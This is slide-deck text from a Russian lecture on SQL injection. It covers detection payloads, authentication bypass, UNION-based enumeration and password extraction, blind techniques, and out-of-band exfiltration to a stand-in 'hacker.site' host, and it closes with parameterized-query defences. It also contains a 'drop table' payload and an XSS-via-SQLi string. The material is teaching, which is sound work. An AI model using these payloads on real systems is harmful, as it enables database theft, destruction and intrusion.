Безопасность компьютерных систем
Серверные уязвимости web-приложений:
SQL Injections
План
База данных (БД)
Ба́за да́нных — совокупность данных, хранимых в соответствии со схемой данных, манипулирование которыми выполняют в соответствии с правилами средств моделирования данных
Изображение с сайта: https://habr.com/ru/post/555760/
SQL (ˈɛsˈkjuˈɛl; англ. structured query language — «язык структурированных запросов») — декларативный язык программирования, применяемый для создания, модификации и управления данными в реляционной базе данных, управляемой соответствующей системой управления базами данных.
Примеры SQL запросов:
Запись в БД:
Чтение из БД:
INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2, value3);
SELECT column1, column2 FROM table WHERE column1 = 'value';
POST запрос на запись комментария
text: test
1
2
5
Browser
Server
Database
3
4
SQL запрос к БД на запись
SQL запрос к БД на чтение
SQL
Injection
Stored XSS
Reflected XSS
SQL Injection
Stored XSS
Reflected XSS
SQL Injection
$700
$500
$5 500 😎
ПЕРЕВЕДИ 1000 рублей ВАСЕ
ПЕРЕВЕДИ 1000 рублей ВАСЕ И ПЕТЕ
SELECT * FROM users WHERE name = '${username}'
SELECT * FROM users WHERE name = '${username}'
princess
SELECT * FROM users WHERE name = '${username}'
agent007
'; drop table users;--
SELECT * FROM users WHERE name = ' ${username}'
'; drop table users;--
SELECT * FROM users WHERE name = ' ${username}'
'; drop table users;--
SELECT * FROM users WHERE name = ' ${username}'
'; drop table users;--
Пайлоады для проверки на наличие SQL инъекций
'
"
`
1' or '1'='1
5-2
1'--
DEMO
Обход авторизации
Виды классической SQL инъекции
Union based SQL injection
Получение информации о количестве столбцов
1' ORDER BY 1-- #работает
1' ORDER BY 2-- #работает
1' ORDER BY 3-- #работает
1' ORDER BY 4-- #не работает
Следовательно в таблице 3 столбца
Union based SQL injection
Получение информации о количестве столбцов
1' UNION SELECT null-- #не работает
1' UNION SELECT null, null-- #не работает
1' UNION SELECT null, null, null-- #работает
1' UNION SELECT null, null, null, null---- #не работает
Следовательно в таблице 3 столбца
Union based SQL injection
Определение выводимых столбцов
1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --
SELECT name, birthdate FROM userinfo WHERE username='${username}'
SELECT name, birthdate FROM userinfo WHERE username='1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --'
SELECT name, birthdate FROM userinfo WHERE username='1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --'
Union based SQL injection
SIXSS: Reflected XSS через SQL инъекцию
1' AND 1=0 UNION SELECT 1,2,'<script>alert(1)</script>',4,5,6 --
Union based SQL injection
Получение имени таблиц (MYSQL version >= 5)
1' AND 1=0 UNION SELECT 1,2,TABLE_NAME,4,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1--
Получение названий столбцов (MYSQL version >= 5)
1' AND 1=0 UNION SELECT 1,2,COLUMN_NAME,4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='userinfo' LIMIT 0,1--
Union based SQL injection
Чтение информации из таблиц
1' AND 1=0 UNION SELECT 1,2,password,4,5,6 FROM userinfo LIMIT 0,1--
Error based SQL injection
Error based SQL injection
Вывод результата выполнения запроса в текст ошибки (Mysql)
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID(...YOUR QUERY HERE..., FLOOR(RAND(33)*2), 64)
Виды слепой SQL инъекции
Boolean based SQL injection
1' AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Boolean based SQL injection
Бинарный поиск
IF(ASCII(SUBSTRING((SELECT ...SQL QUERY...), 1, 1)))>=...VALUE...
Time based SQL injection
1' OR id=IF(ASCII(SUBSTRING((SELECT VERSION()), 1, 1)))>=100, 1, SLEEP(3)) --
Out-of-Band SQL injection
Отправка результата на внешний сервер
SELECT load_file(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));
Отправка результата на внешний сервер с использованием техники XXE
1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
43
Инструментарий
44
Защита
`SELECT * FROM users WHERE name = '${username}'`
45
users.findOne({ name: username })
"select * from users where (name = $1)", args: [username]
Ссылки
Вопросы?